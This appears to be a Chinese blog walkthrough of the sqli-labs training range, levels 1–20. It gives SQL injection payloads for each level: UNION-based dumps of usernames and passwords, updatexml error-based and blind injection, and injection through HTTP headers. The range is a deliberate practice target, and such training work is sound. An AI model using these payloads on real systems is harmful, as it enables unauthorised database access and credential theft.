Sqli-labs靶场实录(一):Basic Challenges
sqli-labs靶场实录:Basic Challenges
- sql手注基本流程
- Less-1
- 1.1探测注入点
- 1.2判断字段数
- 1.3判断回显位
- 1.4提取数据库基本信息
- 1.5拖取敏感数据
- Less-2
- Less-3
- Less-4
- Less5
- 爆表
- 爆列名
- Less6
- 爆库
- 爆表
- 爆列名
- Less7
- 猜解数据库长度
- 逐字符爆破数据库名
- Less8
- 爆库
- Less9
- 爆库
- Less10
- Less11
- Less12
- Less13
- Less14
- Less15
- 爆库
- Less16
- Less17(更新查询注入)
- Less18
- Less19
- Less20
- 免责声明:
sql手注基本流程
-
探测注入点和注入类型:在URL参数、表单等输入处插入单引号(‘)或逻辑语句(如’ OR 1=1–),观察是否返回数据库错误或异常数据,确认存在漏洞。
-
判断字段数:使用
ORDER BY n逐步增加n值,直至页面报错,确定查询字段数量(如ORDER BY 3报错则字段数为2)。 -
定位回显位:通过
UNION SELECT 1,2,3匹配字段数,观察页面显示的数字位置(如显示"2"),确定可回显数据的字段。 -
提取数据库信息:在回显位替换为数据库函数,如
@@version(版本)、database()(当前库名),获取基础信息。 -
拖取敏感数据:查询系统表(如MySQL的information_schema.tables/columns),逐步获取表名、字段名,最终用
UNION SELECT username,password FROM users提取数据。
Less-1
1.1探测注入点
这里通过提示可知需要通过输入id查询信息

故我们在url后拼接?id=1
发现页面改变
故判断存在数据库查询

接下来尝试输入?id=1 and 1=1 和?id and 1=2观察是不是数字型注入

可以看到页面无变化
故不是数字型注入
下面构造?id=1'
可以看到页面报错
故存在字符型注入
构造?id=1'--+
成功闭合

1.2判断字段数
这里通过order by判断字段数
不断变化数字
出现报错则超过列数
构造?id=1'order by 3--+
页面正常
构造?id=1'order by 3--+
页面报错
故得出字段为3

1.3判断回显位
构造?id=-1'union select 1,2,3--+
得出回显位为2,3

1.4提取数据库基本信息
构造?id=-1'union select 1,database(),version()--+
得出数据库名为security 版本为5.5.47

1.5拖取敏感数据
查表名
构造?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
得到四个表名
解释:这里通过参数注入的方式,将恶意 SQL 语句嵌入到正常的查询中。
-1'用于闭合原始查询中的字符串,union select用来合并查询结果。group_concat(table_name)将数据库中的所有表名合并成一列,information_schema.tables是 MySQL 的元数据表,存储了数据库的表信息。where table_schema='security'限制查询范围为security数据库中的表。--+是注释符号,用于忽略后面的内容。
查列名
构造
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到对应列名
解释:
-1':闭合原始 SQL 查询中的条件,破坏其逻辑。union select:将攻击者的查询与原始查询合并,返回自定义结果。1,2:占位符,匹配原始查询的列数,避免语法错误。group_concat(column_name):将查询结果中的列名拼接成一行,方便输出。information_schema.columns:MySQL 的元数据表,存储所有表的列信息。table_name='users':限制查询范围为users表。--+:注释符号,忽略后续内容,避免语法错误。
爆数据
构造?id=-1' union select 1,2,group_concat(username ,password) from users--+
得到账户密码

Less-2
这一关从字符型注入转为了数字型注入
payload和第一关的唯一区别是id=1后面不再使用引号
其余正常使用
故po出测试payload如下
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

Less-3
这一关在测试注入点时发现报错信息出现了一个)

故尝试构造
?id=1')--+
闭合原查询语句的括号并注释掉查询语句后面的内容
故得出和前几关类似的payload如下
?id=1') order by 3--+(字段数判断)
?id=-1') union select 1,2,3--+(回显位判断)

?id=-1') union select 1,database(),version()--+(数据库信息判断)

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(表名判断)

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(列名判断)

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+(数据脱取)

Less-4
这一关测试注入点时发现输入单引号时页面不报错
说明不是单引号闭合
改用双引号闭合时报错
报错信息出现)

尝试构造
?id=1")–+
闭合成功
故可以得到类似的一系列payload
?id=1") order by 3--+(查字段)
?id=-1") union select 1,2,3--+(查回显位)
?id=-1") union select 1,database(),version()--+(查数据库信息)
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(查表名)
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(查列名)
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+(查信息)
Less5
这一关在判断注入点时输入?id=1'报错
构造?id=1'--+成功闭合
判断为字符型注入
与前面四关不同
这一关不会回显任何信息
却有数据库回显错误
故尝试使用报错函数updatexml进行注入
先构造?id=1' and updatexml(1,1,1)--+

接着操控第二个参数
构造
?id=1'and updatexml(1,concat(1,1),1)--+
最后操控concat函数的第二个参数得到嵌套结果
用于查询数据库名
?id=1'and updatexml(1,concat(1,(select database())),1)--+

爆表
构造
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
解释:
- 闭合引号:
?id=1'闭合原SQL语句中的单引号,添加注入条件。- 构造报错:
updatexml(1, concat(1, (子查询)), 1):
concat(1, ...):将子查询结果与数字1拼接,生成非法XPath格式(如1users,posts),触发错误。- 子查询:
select group_concat(table_name) from information_schema.tables where table_schema='security'
提取security数据库的所有表名,group_concat合并为单行字符串

爆列名
构造?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
解释:
- 闭合注入:
?id=1'闭合原SQL单引号,引入恶意逻辑。- 触发报错:
updatexml(1, concat(1, (子查询), 1):
concat(1, ...):拼接子查询结果与1,构造非法XPath(如1id,username,password),触发语法错误。- 子查询:
提取select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'security库中users表的所有字段名,合并为单行(如id,username,password)

Less6
这一关和上一关类似
测试注入符号时发现双引号报错

判断闭合方式换成了双引号闭合
故得到如下payload
爆库
?id=1"and updatexml(1,concat(1,(select database())),1)--+
爆表
?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
爆列名
?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
Less7
这一关测一下闭合符号
一顿操作后发现可以构造?id=1'))--+进行闭合
尝试仿制上面的payload看看
?id=1')) and updatexml(1,concat(1,(select database())),1)--+
报错信息显示语法有问题
故这里用不了报错注入
尝试一些布尔盲注看看
猜解数据库长度
构造?id=1')) and length(database())=8--+
页面正常
构造?id=1')) and length(database())=9--+
页面报错
故得出长度为8
逐字符爆破数据库名
构造?id=1')) and ascii(substr(database(),1,1))>114--+
页面正常
构造?id=1')) and ascii(substr(database(),1,1))>115--+
页面报错
故得知数据库第一个字符ascii码为115=s
构造?id=1')) and ascii(substr(database(),2,1))>100--+
页面正常

构造?id=1')) and ascii(substr(database(),2,1))>101--+
页面报错
故得出第二个字符ascii码=101=e
逐步测试可爆出库名security
Less8
这里测一下该注入是怎么闭合的
尝试几个字符后可构造?id=1'--+进行闭合

观察页面可知
页面只会回显ture和flase两种情况
故判断这里只能通过布尔盲注来测试
爆库
构造?id=1' and ascii(substr(database(),1,1))>114--+
页面正常
构造?id=1' and ascii(substr(database(),1,1))>115--+
页面无回显

故得出数据库第一个字母为s
ascii=115
以此类推
得出数据库名=security
Less9
这一关测试了一下
发现不管id后拼接何值
页面都回显一样的内容
故判断布尔盲注失效
改用时间盲注测试

构造?id=1' and if(1=1,sleep(5),1)--+
发现页面延迟5s回显
故得出闭合条件为单引号闭合
爆库
构造?id=1'and if(length((select database()))>7,sleep(5),1)--+
延迟回显

构造?id=1'and if(length((select database()))>8,sleep(5),1)--+
正常回显

故得出数据库长度为8
构造?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
页面延迟回显
得出数据库第一个字母为s
以此类推得出数据库名security
Less10
这一关测试了一下发现和第九关的本质区别在于这里采用的是双引号闭合
将上一关payload的单引号统一换成双引号后即可沿用
这里不过多赘述
Less11
这一关和前面的关卡比起来先进了许多
使用了登录框

但是换汤不换药
注入点由url切换成了输入框
故我们在username和password这两个参数进行测试即可
输入1’
页面报错
猜测存在字符型注入
类型为单引号闭合

测一下注释
发现前面--+的注释条件无法沿用了
故改用#注释
构造1'#成功闭合
知道了闭合条件和注释符号就简单了
基于第一关的payload稍加改动即可进行漏洞的利用
这里给出爆出的库名payload示例
构造1'union select 1,database()#即可
其他表名,列名同理
就不过多赘述了
Less12
这一关测了一下闭合符号
发现由单引号变成了双引号闭合

但是可以看到报错信息出现了括号
猜测原始查询语句为username=("1")
故构造1")#
成功闭合

payload的制作思路和上一关类似
只不过是闭合符号的不同罢了
示例构造1")union select 1,database()#
爆出库名

Less13
这一关的可以构造闭合语句1')#
但是尝试沿用上面的payload不成功
语句正确时页面不会回显任何信息

故这里采用报错注入
payload沿用第五关的即可
构造1')and updatexml(1,concat(1,(select database())),1)#
爆出库名

Less14
这一关闭合语句为1"#
payload的制作仿用第13关的报错注入即可
构造1"and updatexml(1,concat(1,(select database())),1)#
爆出库名

Less15
这一关使用普通注入和报错注入都无效
尝试使用盲注
爆库
构造1'or (length(database())=7)#
页面报错
构造1'or (length(database())=8)#
页面正常回显
故得出数据库长度为8
构造1'or (ascii(substr(database(),1,1)))=114#
页面报错
构造1'or (ascii(substr(database(),1,1)))=115#
页面正常回显
故得出数据库第一个字母为s
以此类推得出库名security
Less16
这一关还是需要盲注
但是闭合符号换成了")闭合
盲注手法沿用第十五关的即可
示例构造1")or (ascii(substr(database(),1,1)))=115#
页面正常回显

得出数据库首字母=s
Less17(更新查询注入)
这一关可以看到是一个密码重置的页面
故这是一次功能点的测试
使用用户admin进行测试
因为重置密码涉及update的数据库语句
故判断漏洞可能出现在new password参数里面
尝试在对应输入框进行注入
构造admin/1'发现数据库报错
构造admin/1'#闭合成功

经测试这里普通注入行不通
故采用报错注入
构造admin/1'and updatexml(1,concat(1,database()),1)#
报错出数据库

Less18
这一关可以看到页面出现了本机IP地址
说明我们的信息被网站记录进了数据库

那么判断这里可能存在HTTP头注入
我们输入正确的账户密码看看(前面密码重置那一关可以自己设置admin账户的密码)
登录成功
发现显示User-agen头
故在User-agent参数进行注入测试
这里要判断一下注入是否存在
我们用Bp抓包发到重放器改包
在User-agent参数后加上单引号
发现数据库报错
故存在注入点

这里我们可以通过报错注入得到数据库名称
基于源码切片
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
我们可以得到User agent的参数组成如下
(`uagent`, `ip_address`, `username`)
故构造'and updatexml(1,concat(1,database()),1)and'
成功爆库

Less19
这一关仍是Http头注入
登录成功后我们发现
这次显示的是Refer头

故在Refer参数构造payload注入即可
同理上一关抓包改包
构造:'and updatexml(1,concat(1,database()),1)and'

爆库成功
Less20
这一关登录成功后发现页面回显3个参数

因为这个仍是HTTP头注入
在测试前两个参数注入无果后尝试选择Cookie参数注入
刷新一下页面
拦截一下这个带cookie的请求
抓包改包
构造admin'and updatexml(1,concat(1,database()),1)#

爆库成功
免责声明:
本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。
相关文章:
Sqli-labs靶场实录(一):Basic Challenges
sqli-labs靶场实录:Basic Challenges sql手注基本流程Less-11.1探测注入点1.2判断字段数1.3判断回显位1.4提取数据库基本信息1.5拖取敏感数据 Less-2Less-3Less-4Less5爆表爆列名 Less6爆库爆表爆列名 Less7猜解数据库长度逐字符爆破数据库名 Less8爆库 Less9爆库 Less10Less11…...
2024最新版Node.js详细安装教程(含npm配置淘宝最新镜像地址)
一:Node.js安装 浏览器中搜索Nodejs,或直接用网址:Node.js — 在任何地方运行 JavaScript 建议此处下载长期支持版本(红框内): 开始下载,完成后打开文件: 进入安装界面,在此处勾选,再点击n…...
RK3568使用QT搭建TCP服务器和客户端
文章目录 一、让RK3568开发板先连接上wifi二、客户端代码1. `widget.h` 文件2. `widget.cpp` 文件**详细讲解**1. **`Widget` 类构造函数 (`Widget::Widget`)**2. **UI 布局 (`setupUI`)**3. **连接按钮的槽函数 (`onConnectClicked`)**4. **发送消息按钮的槽函数 (`onSendMess…...
Android学习20 -- 手搓App2(Gradle)
1 前言 昨天写了一个完全手搓的:Android学习19 -- 手搓App-CSDN博客 后面谷歌说不要用aapt,d8这些来搞。其实不想弄Gradle的,不过想着既然开始了,就多看一些。之前写过一篇Gradle,不过是最简单的编译,不涉…...
LeetCode - Google 大模型10题 第2天 Position Embedding(位置编码) 3题
欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/145454489 在 Transformer 架构中,位置编码(Position Embedding) 是辅助模型理解序列中元素顺序的关键机制。绝对位置编码(Absolute P…...
PostgreSQL 数据库备份与还原
为了安全与数据共享等,创建好的数据库有时候需要备份操作和还原操作。数据库的备份与还原主要是三个命令:pg_dump、pg_dumpall 和 pg_restore 。 其中pg_dump用于备份单个数据库,它支持多种备份格式(SQL、自定义等)&a…...
proxmox通过更多的方式创建虚拟机
概述 作为一名资深运维工程师,我们经常需要在 Proxmox 虚拟化平台上创建和管理虚拟机。本文将介绍三种不同的方式在 Proxmox 上创建 Ubuntu 虚拟机: 通过 Proxmox 命令创建虚拟机通过 Shell 脚本自动化创建虚拟机使用 Proxmox API 创建虚拟机 每种方式…...
WordPress使用(2)
上一篇文章讲述了WordPress的基本安装,主要是docker方式的处理。本文章主要介绍WordPress安装后的其他设置。 1. 安装后设置 安装后碰到的第一个需求就是安装一个合适的主题,但WordPress默认的上传文件大小是2M,远远无法满足要求࿰…...
git中文件的状态状态切换
文件的状态分类 Git 中文件的状态主要分为以下几种: Untracked(未跟踪) 定义:这些文件从未被 Git 跟踪过,通常是因为它们是新创建的文件,或者被 .gitignore 排除在外。 示例:新创建的文件 new…...
解决php8.3无法加载curl扩展
把它的值更改为扩展存在的目录的绝对路径(扩展存在的目录为有php_xxx.dll存在的目录) extension_dir "e:\serv\php83\ext" 然后从php根目录复制 libssh2.dll 和 libcrypto-*.dll 和 libssl-*.dll 到Apache根目录下的bin目录 重启apache服务即可...
三路排序算法
三路排序算法 引言 排序算法是计算机科学中基础且重要的算法之一。在数据分析和处理中,排序算法的效率直接影响着程序的执行速度和系统的稳定性。本文将深入探讨三路排序算法,包括其原理、实现和应用场景。 一、三路排序算法的原理 三路排序算法是一…...
入行FPGA设计工程师需要提前学习哪些内容?
FPGA作为一种灵活可编程的硬件平台,广泛应用于嵌入式系统、通信、数据处理等领域。很多人选择转行FPGA设计工程师,但对于新手来说,可能在学习过程中会遇到一些迷茫和困惑。为了帮助大家更好地准备,本文将详细介绍入行FPGA设计工程…...
DBASE DBF数据库文件解析
基于Java实现DBase DBF文件的解析和显示 JDK19编译运行,实现了数据库字段和数据解析显示。 首先解析数据库文件头代码 byte bytes[] Files.readAllBytes(Paths.get(file));BinaryBufferArray bis new BinaryBufferArray(bytes);DBF dbf new DBF();dbf.VersionN…...
html基本结构和常见元素
html5文档基本结构 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>文档标题</title> </head> <body>文档正文部分 </body> </html> html文档可分为文档头和文档体…...
JAVAweb学习日记(十) Mybatis入门操作
一、介绍 二、快速入门程序 三、入门-数据库连接池 四、入门-lombok工具包...
从Transformer到世界模型:AGI核心架构演进
文章目录 引言:架构革命推动AGI进化一、Transformer:重新定义序列建模1.1 注意力机制的革命性突破1.2 从NLP到跨模态演进1.3 规模扩展的黄金定律 二、通向世界模型的关键跃迁2.1 从语言模型到认知架构2.2 世界模型的核心特征2.3 混合架构的突破 三、构建…...
Rk3588芯片介绍(含数据手册)
芯片介绍:RK3588是一款低功耗,高性能的处理器,适用于基于arm的PC和边缘计算设备,个人移动互联网设备和其他数字多媒体应用,集成了四核Cortex-A76和四核Cortex-A55以及单独的NEON协处理器 视频处理方面:提供…...
java开发面试自我介绍模板_java面试自我介绍3篇
java 面试自我介绍 3 篇 java 面试自我介绍篇一: 我叫赵,我的同学更都喜欢称呼我的英文名字,叫,六月的 意思,是君的谐音。我来自安徽的市,在 21 年我以市全市第一名 的成绩考上了大学,…...
w193基于Spring Boot的秒杀系统设计与实现
🙊作者简介:多年一线开发工作经验,原创团队,分享技术代码帮助学生学习,独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取,记得注明来意哦~🌹赠送计算机毕业设计600个选题excel文…...
chrome浏览器chromedriver下载
chromedriver 下载地址 https://googlechromelabs.github.io/chrome-for-testing/ 上面的链接有和当前发布的chrome浏览器版本相近的chromedriver 实际使用感受 chrome浏览器会自动更新,可以去下载最新的chromedriver使用,自动化中使用新的chromedr…...
华为云AI开发平台ModelArts
华为云ModelArts:重塑AI开发流程的“智能引擎”与“创新加速器”! 在人工智能浪潮席卷全球的2025年,企业拥抱AI的意愿空前高涨,但技术门槛高、流程复杂、资源投入巨大的现实,却让许多创新构想止步于实验室。数据科学家…...
AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...
C#学习第29天:表达式树(Expression Trees)
目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...
基于PHP的连锁酒店管理系统
有需要请加文章底部Q哦 可远程调试 基于PHP的连锁酒店管理系统 一 介绍 连锁酒店管理系统基于原生PHP开发,数据库mysql,前端bootstrap。系统角色分为用户和管理员。 技术栈 phpmysqlbootstrapphpstudyvscode 二 功能 用户 1 注册/登录/注销 2 个人中…...
深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏
一、引言 在深度学习中,我们训练出的神经网络往往非常庞大(比如像 ResNet、YOLOv8、Vision Transformer),虽然精度很高,但“太重”了,运行起来很慢,占用内存大,不适合部署到手机、摄…...
Kubernetes 节点自动伸缩(Cluster Autoscaler)原理与实践
在 Kubernetes 集群中,如何在保障应用高可用的同时有效地管理资源,一直是运维人员和开发者关注的重点。随着微服务架构的普及,集群内各个服务的负载波动日趋明显,传统的手动扩缩容方式已无法满足实时性和弹性需求。 Cluster Auto…...
JDK 17 序列化是怎么回事
如何序列化?其实很简单,就是根据每个类型,用工厂类调用。逐个完成。 没什么漂亮的代码,只有有效、稳定的代码。 代码中调用toJson toJson 代码 mapper.writeValueAsString ObjectMapper DefaultSerializerProvider 一堆实…...
2.3 物理层设备
在这个视频中,我们要学习工作在物理层的两种网络设备,分别是中继器和集线器。首先来看中继器。在计算机网络中两个节点之间,需要通过物理传输媒体或者说物理传输介质进行连接。像同轴电缆、双绞线就是典型的传输介质,假设A节点要给…...
Mac flutter环境搭建
一、下载flutter sdk 制作 Android 应用 | Flutter 中文文档 - Flutter 中文开发者网站 - Flutter 1、查看mac电脑处理器选择sdk 2、解压 unzip ~/Downloads/flutter_macos_arm64_3.32.2-stable.zip \ -d ~/development/ 3、添加环境变量 命令行打开配置环境变量文件 ope…...
ArcGIS Pro+ArcGIS给你的地图加上北回归线!
今天来看ArcGIS Pro和ArcGIS中如何给制作的中国地图或者其他大范围地图加上北回归线。 我们将在ArcGIS Pro和ArcGIS中一同介绍。 1 ArcGIS Pro中设置北回归线 1、在ArcGIS Pro中初步设置好经纬格网等,设置经线、纬线都以10间隔显示。 2、需要插入背会归线…...


